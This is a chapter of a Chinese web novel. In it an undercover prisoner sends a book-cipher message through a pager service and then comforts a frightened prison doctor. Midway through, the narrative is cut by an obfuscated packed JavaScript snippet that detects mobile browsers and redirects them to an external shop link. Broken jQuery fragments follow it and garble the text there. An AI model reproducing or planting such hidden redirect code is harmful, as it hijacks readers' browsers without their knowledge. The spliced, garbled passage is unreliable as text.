第二百一十五章 密码本

作品:《卧底入狱?我直接整顿监狱法则

    廊尽头的冷风终于将谷彦君那股劣质烟草的残味吹散了。


    洗漱间里,那只拧不紧的水龙头还在不知疲倦地滴着水,“滴答、滴答”,在死寂的深夜里像极了某种倒计时。


    林燃靠在冰冷的白瓷水槽边,并没有马上离开。


    他低头看着脚边那摊污水,脑子里飞速复盘着刚刚和这位狱侦科长的交锋。


    把谷彦君拉进局,是一招险棋。


    他深知,自己此刻就像是在万丈悬崖上,勉强踩稳了一块随时会崩塌的碎岩。


    那盘要命的磁带暂时算是稳住了,没落进彭振或者孙绍裘的手里。


    但外头呢?秦墨去保管室扑了个空,这会儿估计也不知道该怎么做。


    实际上,在监狱这种与世隔绝的铁笼子里,信息差往往就是最要命的东西。


    你晚知道一秒,别人砍向你脖子的刀就已经落下来了。


    他必须尽快把消息递出去。


    第二天清晨,安江监狱的起床哨刚响过不久,灰蒙蒙的天光顺着铁窗栅栏挤进312监舍。


    林燃坐在自己的铺位上,伸手从枕头底下摸出了那本翻得有些起毛边的《刑法学教程》。


    在外人眼里,这不过是一个想要“积极改造、学习法律”的犯人用来打发时间的读物,老严甚至还借此嘲笑过他。


    但只有林燃和秦墨知道,这本1998年版的教材,是他和秦墨之间唯一安全、隐蔽的密码本。


    趁着洗漱前那点乱糟糟的空档,林燃脑子里已经把要传递的信息转化成了对应的页码、行数和字序。


    上午的劳动时间,林燃借着去厕所的由头,跟负责看管的管教申请打个亲情电话。理由现成得很——家里老父亲病着,急需问问情况。


    那管教收过林燃递的烟,知道他现在在三监区是挂了号的人物,也就睁一只眼闭一只眼,摆摆手让他去了走廊尽头的专用电话机旁。


    电话是受监听的,旁边还有人盯着。


    林燃当然不可能直接往秦墨的手机上打。


    他拨通了市里的一个寻呼台人工服务号。


    “您好,请问呼谁?”接线员机械的声音传来。


    “呼本机,留个言。就说……家里老屋的房顶漏水了,需要买点建材。尺寸记一下,帮我报给工头。”


    林燃的声音平稳,带着点为人子的焦急和疲惫,演得毫无破绽。


    接着,他语速均匀地报出了一串看似毫无规律的数字:


    “102页第4行第7个,56页第2行……”


    挂断电话后,林燃的掌心微微渗出了一层冷汗。


    他知道,这串数字一旦通过寻呼台发到秦墨的BP机上,凭她的敏锐,立刻就能拿出同样的《刑法学教程》进行解密。


    那串数字拼凑出来的核心意思只有干脆利落的一句话:


    “带子安全,谷已入局,他会将带子递给你,深挖孙。”


    这颗定心丸递出去了,外部的线算是暂时稳住了。


    但内部,还有个马上要炸的火药桶等着他去扑救。


    下午,劳动车间里机器轰鸣。


    林燃盯着缝纫机高速上下跳动的针头,心思却飘到了医务室。


    彭振为了帮他的老上级孙绍裘扫清障碍,亲自出面找苏念晚谈了话,甚至用将她调离安江监狱作为威胁。


    苏念晚那点微薄的工资是她母亲透析的救命钱,她根本没有反抗的余地。


    为了保住苏念晚,林燃那天硬生生咽下了一口气,向孙绍裘低了头,答应让苏念晚签字换狗皮蛇调入三监区。


    上次苏念晚已经被他逼着在孙绍裘的保外就医材料上签了字。


    但那姑娘精神已经濒临崩溃,他必须尽快安抚。


    找了个“腿部旧伤复发、骨裂处疼得钻心”的老套借口还有两包好烟。


    林燃在管教那里请了假,一瘸一拐地朝着医务室走去。


    推开医务室的门,里面那股常年不散的消毒水味儿似乎比平时更刺鼻了些。


    苏念晚一个人坐在办公桌后,身上那件白大褂显得有些空荡荡的。


    听见门响,她猛地抬起头,眼神对上林燃的那一瞬间,眼底原本强压着的惶恐像决堤的水一样溢了出来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350358|197428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她整个人就像一张被硬生生绷紧到极致的弓弦,稍微碰一下,就会彻底断裂。


    林燃没有说一句废话。


    他回手握住门把手,大拇指一卡,“咔哒”一声,反锁了房门。


    这清脆的落锁声在空荡的诊间里格外清晰。


    苏念晚的嘴唇动了动,还没等她发出声音,林燃已经大步跨过去,一把攥住了她冰凉透骨的手。


    “字签了?”


    林燃的声音压得很低,却透着股磐石般的沉稳。


    苏念晚点了点头,眼眶瞬间红了。


    她反手死死抓住林燃的手臂,指甲几乎要嵌进他的肉里:


    “签了……彭振的人就在旁边盯着。林燃,我成了帮凶了,孙绍裘那种人要是真出去了,我……”


    “看着我。”


    林燃打断了她,微微弯下腰,平视着她蓄满泪水的眼睛。


    “字签了,不代表他能走。”


    林燃的语气里没有任何安抚弱者的怜悯,只有一种刀锋般的笃定。


    这股底气,顺着他温热的掌心,源源不断地传导进苏念晚因为极度恐惧而战栗的身体里。


    “我说过,你是我的人,我不会让人把你弄走,也不会让你去顶罪。“


    林燃伸出另一只手,粗糙的指腹轻轻蹭去她眼角的湿润。


    ”孙绍裘的保外材料虽然过了你这关,但我有把握——他这只脚,迈不出安江监狱的大门。“


    苏念晚愣住了。


    她不懂林燃在外面到底布了多大一张网。


    但眼前这个男人眼底的锐利和掌心的温度,硬生生把她心头那股即将没顶的绝望给压了下去。


    她紧绷的脊背突然松懈下来,整个人像是被抽空了力气,猛地扑进了林燃的怀里。


    白大褂的衣襟擦过林燃粗糙的囚服。


    林燃顺势揽住她的腰,将她抱起,轻轻放在了旁边那张铺着白色床单的检查床上。


    窗外的秋风顺着铁栅栏的缝隙呜咽着挤进来。


    吹动了窗台上那个洗得发白的栀子花香包,散发出一股淡淡的、让人安心的幽香。